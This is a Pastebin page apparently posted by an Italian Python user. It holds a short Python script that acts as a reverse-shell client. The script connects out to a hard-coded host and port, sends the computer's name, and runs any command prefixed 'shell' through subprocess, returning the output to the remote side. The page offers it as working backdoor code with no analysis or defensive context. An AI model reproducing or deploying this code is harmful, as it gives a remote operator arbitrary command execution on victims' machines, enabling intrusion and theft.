Advertisement
marcofrittella

pythonitalia

Jun 24th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | None | 0 0
  1. import socket ,os, subprocess
  2. from subprocess import check_output
  3.  
  4. host = '192.168.1.106'    # Il nodo remoto
  5. port = 5555              # The La stessa porta usata dal server
  6.  
  7. def cltConn():
  8.     os.system('cls')
  9.     global s
  10.     global host
  11.     global port
  12.     global check    
  13.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  14.     try:
  15.         s.connect((host, port))
  16.         check=('connessione attiva')
  17.         computername=os.environ["COMPUTERNAME"]
  18.         computernameby=computername.encode()
  19.        
  20.         s.send(computernameby)
  21.     except socket.error as msg:
  22.         print ('connessione finita')
  23.        
  24. def cltReceive():
  25.     global args
  26.     while check == "connessione attiva":
  27.         cltReceive=s.recv(1024)
  28.         cltReceive=cltReceive.decode()
  29.         if cltReceive == "quit":
  30.             s.close()
  31.         elif cltReceive[0:5] == "shell":
  32.             proc= subprocess.Popen(cltReceive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  33.             stdout_value = proc.stdout.read() + proc.stderr.read()
  34.             args = stdout_value
  35.             send=s.send(args)
  36.             cltReceive     
  37.         else:
  38.             args='nessun input giusto'
  39.             args=args.encode()
  40.             send=s.send(args)
  41.             cltReceive
  42.  
  43. if __name__ == "__main__":
  44.     cltConn()
  45.     while True:
  46.         cltReceive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement